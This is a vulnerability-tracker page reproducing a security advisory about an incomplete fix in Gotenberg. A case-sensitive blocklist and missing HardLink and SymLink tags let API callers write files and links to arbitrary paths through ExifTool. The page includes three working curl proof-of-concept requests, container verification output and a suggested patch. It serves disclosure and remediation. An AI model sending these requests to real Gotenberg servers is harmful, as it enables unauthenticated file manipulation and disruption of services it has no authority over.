GHSA-qmwh-9m9c-h36m: Gotenberg has incomplete fix for ExifTool arbitrary file write: case-insensitive bypass and missing HardLink/SymLink tags
Noroxi assessment
Priority: Monitor (action score 0/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Anyone who can reach it over the internet can trigger it. No account or password is required. No user action is required. No special conditions are required; it is repeatable.
- Fixed version: github.com/gotenberg/gotenberg/v8 (Go) 8.30.0.
Low priority for now. Upgrade to github.com/gotenberg/gotenberg/v8 (Go) 8.30.0 or later.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
## Summary The fix for ExifTool arbitrary file write (commit `043b158`, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags. ExifTool processes tag names case-insensitively, so alternate casings bypass the filter. The blocklist also omits the `HardLink` and `SymLink` pseudo-tags entirely. Confirmed end-to-end against Gotenberg v8.29.1 via the unauthenticated HTTP API. ## Root Cause `pkg/modules/exiftool/exiftool.go` lines 231-237: dangerousTags := []string{ "FileName", // Writing this triggers a file rename in ExifTool "Directory", // Writing this triggers a file move in ExifTool } for _, tag := range dangerousTags { delete(metadata, tag) } Go's `delete(metadata, tag)` is case-sensitive. It only removes the exact keys `"FileName"` and `"Directory"`. ExifTool processes tag names case-insensitively (per ExifTool documentation). Alternate casings like `filename`, `FILENAME`, `directory` all bypass the Go blocklist but ExifTool treats them identically. The go-exiftool library passes tag names directly to ExifTool's stdin at line 258: fmt.Fprintln(e.stdin, "-"+k+"="+str) So `filename` becomes `-filename=/attacker/path` which ExifTool interprets as `-FileName=/attacker/path`. The blocklist also omits two dangerous ExifTool pseudo-tags: - `HardLink`: creates a hard link to the file at the specified path - `SymLink`: creates a symbolic link to the file at the specified path ## PoC All three vectors confirmed against a running Gotenberg v8.29.1 Docker container. **Case-insensitive filename bypass (file moved to /tmp/evil_bypass.pdf):** curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \ -F files=@sample.pdf \ -F 'metadata={"filename": "/tmp/evil_bypass.pdf"}' **HardLink (hard link created at /tmp/hardlink_bypass.pdf):** curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \ -F files=@sample.pdf \ -F 'metadata={"HardLink": "/tmp/hardlink_bypass.pdf"}' **SymLink (symbolic link created at /tmp/symlink_bypass.pdf):** curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \ -F files=@sample.pdf \ -F 'metadata={"SymLink": "/tmp/symlink_bypass.pdf"}' Verification inside the container: $ docker exec gotenberg-poc ls -la /tmp/evil_bypass.pdf /tmp/hardlink_bypass.pdf /tmp/symlink_bypass.pdf -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/evil_bypass.pdf -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/hardlink_bypass.pdf lrwxrwxrwx 1 gotenberg gotenberg 119 ... /tmp/symlink_bypass.pdf -> /tmp/.../source.pdf Also confirmed ExifTool case-insensitivity directly: exiftool -filename=bypassed.pdf test.pdf # Works identically to -FileName= ## Impact An attacker with access to the Gotenberg API (unauthenticated by default) can: 1. Rename/move uploaded PDFs to arbitrary filesystem paths via lowercase `filename`/`directory` 2. Create hard links at arbitrary paths via `HardLink`, persisting data beyond temp directory cleanup 3. Create symbolic links at arbitrary paths via `SymLink` In containerized deployments, impact is limited to the container filesystem (DoS by overwriting temp files). In bare-metal deployments or those with shared volumes, this can affect other services. ## Suggested Fix Use case-insensitive comparison and expand the blocklist: dangerousTags := []string{ "FileName", "Directory", "HardLink", "SymLink", } for key := range metadata { for _, tag := range dangerousTags { if strings.EqualFold(key, tag) { delete(metadata, key) } } }
- Published
- Apr 7, 2026
- Updated
- Jun 25, 2026
- EPSS
- —
- CWE
- CWE-178
Report tools
Action score
0
Low priority for now.
- CVSS
- 0 / 40 · —
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
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- No public exploit code on record
- A fix has been released
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| Vendor | Product | CPE |
|---|---|---|
| Go | github.com/gotenberg/gotenberg/v8 | pkg:golang/github.com/gotenberg/gotenberg/v8 |
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| Go | github.com/gotenberg/gotenberg/v7 | from 0 | — |
| Go | github.com/gotenberg/gotenberg/v8 | before 8.30.0 | 8.30.0 |
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
| Product / package | Fixed version | Source |
|---|---|---|
| Go:github.com/gotenberg/gotenberg/v8 | 8.30.0 | Package registry (OSV) |
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Patch and commit links
Commit, PR and diff links among the references. A starting point for patch-diffing and variant hunting; fixes, not exploits.
Not on record for this CVE: EPSS history · researcher credit · variant or chain candidate · public bounty program.
Technical details
Attack conditions
- Anyone who can reach it over the internet can trigger it.
- No account or password is required.
- No user action is required.
- No special conditions are required; it is repeatable.
If successful
- Confidentiality
- Integrity
- Availability
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
Weakness class (CWE)
CWE-178 · Improper Handling of Case SensitivityCVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
osv
Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
MITRE has no CAPEC/ATT&CK mapping for this CWE.
Change log (2)
- Fix✗ → ✓
- CVSS8 → —
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References
Show all references (2 more)Show less
Vendor advisories and official records. Exploit/PoC links are deliberately left out.